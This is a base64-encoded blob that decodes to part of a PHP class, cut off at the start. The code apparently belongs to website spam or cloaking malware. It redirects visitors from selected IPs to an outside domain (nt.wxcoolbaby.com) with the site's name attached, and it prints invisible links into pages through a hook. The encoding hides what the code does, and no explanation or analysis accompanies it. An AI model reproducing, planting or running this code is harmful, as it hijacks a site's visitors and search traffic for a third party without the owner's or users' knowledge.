bGljIGZ1bmN0aW9uIEp1bXAoKXsKCQlpZigkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJJGRvbWFp biAgPSBzdHJfcmVwbGFjZSgiLiIsIl8iLCR0aGlzLT5kb21haW4pOwoJCQloZWFkZXIoJ0xvY2F0 aW9uOiBodHRwOi8vbnQud3hjb29sYmFieS5jb20vbnQvP2pwXycuJGRvbWFpbik7CgkJCWV4aXQ7 CgkJfQoJfQoJCglwdWJsaWMgZnVuY3Rpb24gX3VuY29uZGl0aW9uX2hvb2soKXsKCQkkYXJyYXkg PSBhcnJheSgpOwoJCWZvcigkYT0wOyRhPDU7JGErKyl7CgkJCWVjaG8gJzxhIGhyZWY9IicuQXBw X0dldExpbmsoKS4nIj48L2E+Jy4iXG4iOwoJCX0KCX0KCglwdWJsaWMgZnVuY3Rpb24gX3VuU3Bp ZGVyX2hvb2soKXsKCQkvLwoJfQoKCglwdWJsaWMgZnVuY3Rpb24gc3RyU3RhcnRXaXRoKCRuZWVk bGUsICRoYXlzdGFjayl7CiAgCSAgcmV0dXJuIChzdWJzdHIoJGhheXN0YWNrLCAwLCBzdHJsZW4o JG5lZWRsZSkpPT0kbmVlZGxlKTsKCX0KCQoJcHVibGljIGZ1bmN0aW9uIGN1dCgkZmlsZSwkZnJv bSwkZW5kKQoJeyAKCQkkbWVzc2FnZT1leHBsb2RlKCRmcm9tLCRmaWxlKTsgCgkJJG1lc3NhZ2U9 ZXhwbG9kZSgkZW5kLCRtZXNzYWdlWzFdKTsgCgkJcmV0dXJuICAgJG1lc3NhZ2VbMF07Cgl9Cn0K Cgo=